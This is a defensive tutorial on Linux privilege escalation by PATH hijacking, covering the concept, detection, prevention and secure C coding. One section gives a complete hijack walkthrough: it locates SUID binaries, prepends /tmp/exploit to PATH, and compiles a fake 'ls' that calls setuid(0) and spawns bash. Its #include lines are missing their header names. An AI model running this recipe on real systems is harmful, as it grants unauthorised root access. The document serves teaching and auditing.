Privilege Escalation via PATH Variable Manipulation

Privilege Escalation via PATH Variable Manipulation (Conceptual Overview)

PATH environment variable determines where the shell looks for executable programs. When privileged programs call external commands without absolute paths, attackers can hijack execution by manipulating PATH to point to malicious binaries.

---

🛣️ What is the PATH Environment Variable?

PATH is a colon-separated list of directories that the shell searches when executing commands. For example: /usr/local/bin:/usr/bin:/bin

When you type a command like ls, the shell searches each PATH directory in order until it finds an executable named "ls".

---

🧠 How PATH-Based Escalation Happens (High-Level)

• ✔ A privileged program calls external commands without absolute paths
• ✔ Attacker modifies PATH to include a writable directory
• ✔ Attacker places malicious binary with same name as expected command
• ✔ Privileged program executes malicious binary instead of legitimate one
• ✔ Malicious binary runs with elevated privileges

---

🔥 Why PATH Manipulation Is Dangerous

• ✔ Bypasses standard permission checks
• ✔ Exploits legitimate system behavior
• ✔ Difficult to detect in logs
• ✔ Can escalate from low to high privileges

---

🌍 Real-World Example (Defensive View)

A custom SUID program written in C uses system("ls -la") instead of system("/bin/ls -la").

An attacker modifies PATH, creates a malicious "ls" binary in their directory, and when the SUID program runs, it executes the attacker's code with root privileges.

---

🎯 Common Vulnerable Patterns

• ✔ Using system() calls without absolute paths
• ✔ popen() or execvp() with relative paths
• ✔ Shell scripts running with elevated privileges
• ✔ Cron jobs that execute user-controlled programs

---

🔍 Detecting PATH Vulnerabilities

• ✔ Audit SUID/SGID programs for external command calls
• ✔ Search for system(), popen() calls in source code
• ✔ Monitor for PATH variable changes in privileged contexts
• ✔ Review shell scripts running with elevated privileges

---

🛡️ Preventing PATH-Based Escalation

• ✔ Always use absolute paths in privileged programs
• ✔ Sanitize environment variables in SUID programs
• ✔ Use execve() with explicit PATH instead of system()
• ✔ Implement secure coding practices
• ✔ Regularly audit system binaries and scripts

---

🧾 Key Takeaways

• ✔ PATH determines where shell looks for executables
• ✔ Privileged programs must use absolute paths
• ✔ system() calls are particularly dangerous
• ✔ Defense requires secure coding and regular audits

🔍 PATH Privilege Escalation – Command Awareness

Common commands observed during PATH security audits and investigations. Shown for defensive awareness and educational purposes only.

---

🔎 Initial System Reconnaissance

• Check current user identity

  id

  Why used: Verify current user privileges and group memberships.
• View current PATH variable

  echo $PATH

  Why used: Examine current PATH configuration and directory order. Example output: /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
• Find SUID binaries

  find / -type f -perm -4000 2>/dev/null

  Why used: Identify programs that run with elevated privileges.

---

🛣️ PATH Analysis & Writable Directories

• Check PATH directories for writable access

  echo $PATH | tr ":" "\n" | xargs -I {} ls -ld {}

  Why used: Identify writable directories in PATH that could be hijacked.
• Find all writable directories

  find / -writable -type d 2>/dev/null | head -20

  Why used: Discover directories where malicious binaries could be placed.
• Check for world-writable directories in PATH

  for dir in $(echo $PATH | tr ":" " "); do find "$dir" -type d -perm -0002 2>/dev/null; done

  Why used: Identify directories with dangerous permissions in PATH.

---

🔬 Vulnerable Program Analysis

• Check SUID binary dependencies

  ldd /path/to/suid_binary

  Why used: Examine shared library dependencies that might indicate external calls.
• Search for external command calls in binaries

  strings /path/to/suid_binary | grep -E "(system|popen|exec|fork)"

  Why used: Identify potential calls to external programs.
• Check for shell usage in scripts

  grep -r "system\|popen\|exec" /usr/local/bin/ 2>/dev/null

  Why used: Find scripts that might be vulnerable to PATH manipulation.

---

⚡ PATH Manipulation Techniques (High Risk)

• Create a writable directory for testing

  mkdir /tmp/exploit

  Why used: Prepare directory for test binaries.
• Prepend writable directory to PATH

  export PATH=/tmp/exploit:$PATH

  Why used: Make shell check malicious directory first for executables.
• Verify PATH modification

  echo $PATH

  Why used: Confirm PATH has been successfully modified.
• Check if SUID program calls external commands

  strace /path/to/suid_program 2>&1 | grep -i "exec"

  Why used: Trace system calls to identify external command execution.

---

💀 Malicious Binary Creation (Maximum Risk)

• Example: Create a simple malicious binary in C

  cat > /tmp/exploit/ls.c << 'EOF'
  #include 
  #include 
  #include 
  
  int main() {
      setuid(0);
      system("/bin/bash");
      return 0;
  }
  EOF
                                   

  Why used: Create source code for a malicious binary that escalates privileges. This is for educational understanding of attack patterns.
• Compile the malicious binary

  gcc /tmp/exploit/ls.c -o /tmp/exploit/ls

  Why used: Compile the source into an executable.
• Make binary executable

  chmod +x /tmp/exploit/ls

  Why used: Set execute permissions on the malicious binary.
• Verify binary creation

  ls -la /tmp/exploit/

  Why used: Confirm malicious binary exists in PATH directory.

---

🧪 Testing & Verification Commands

• Test which binary would be executed

  which ls

  Why used: Verify which "ls" binary the shell would execute based on current PATH.
• Check command resolution

  type ls

  Why used: Shell built-in to show how a command would be interpreted.
• Run a test command to verify PATH order

  ls --version 2>&1 | head -1

  Why used: Test which binary actually gets executed.

---

🧹 Cleanup & Secure Environment

• Restore original PATH

  export PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin

  Why used: Restore system default PATH after testing.
• Remove test files

  rm -rf /tmp/exploit

  Why used: Clean up test directories and files.
• Verify clean environment

  echo $PATH && which ls

  Why used: Confirm system is back to secure state.

---

🛡️ Defensive PATH Security Commands

• Check for SUID programs calling system()

  
  for i in $(find / -type f -perm -4000 2>/dev/null); do strings "$i" | grep -q "system" && echo "$i"; done
                                   

  Why used: Identify SUID binaries that might be vulnerable to PATH attacks.
• Audit cron jobs for PATH issues

  grep -r "PATH" /etc/cron* 2>/dev/null

  Why used: Check cron jobs that might have PATH security issues.
• Check shell configuration files

  grep -r "PATH=" /etc/profile /etc/bash.bashrc /etc/environment 2>/dev/null

  Why used: Review system-wide PATH configurations.
• Monitor for PATH changes

  ps aux | grep -E "(bash|sh)" | grep -v grep

  Why used: Check running shells that might have modified environments.

---

💻 Secure Coding Examples

• Secure C code using absolute path

  // SECURE: Using absolute path
  system("/bin/ls -la");
  
  // VULNERABLE: Relying on PATH
  system("ls -la");
                                   

  Why used: Demonstrate secure vs vulnerable coding patterns.
• Secure alternative using execve()

  // MORE SECURE: Using execve with explicit environment
  char *args[] = {"/bin/ls", "-la", NULL};
  char *env[] = {NULL};
  execve("/bin/ls", args, env);
                                   

  Why used: Show more secure method that doesn't use shell at all.

---

📊 Monitoring & Auditing Tools

• Auditd rule for PATH monitoring

  -a always,exit -F arch=b64 -S execve -k exec_monitor

  Why used: Audit rule to monitor program execution.
• Check for unusual PATH in processes

  ps eww -o pid,cmd | grep -E "PATH=.*tmp|PATH=.*home"

  Why used: Find processes with suspicious PATH configurations.

---

📚 Security References

• OWASP - Command Injection

  https://owasp.org/www-community/attacks/Command_Injection

• Secure Coding Practices

  https://wiki.sei.cmu.edu/confluence/display/c/SEI+CERT+C+Coding+Standard

---

🛡️ Defender Takeaways

• ✔ Audit SUID/SGID programs for external command calls
• ✔ Ensure privileged programs use absolute paths
• ✔ Monitor for PATH environment modifications
• ✔ Implement secure coding standards
• ✔ Regular security assessments of custom binaries
• ✔ Use static analysis tools to detect vulnerable patterns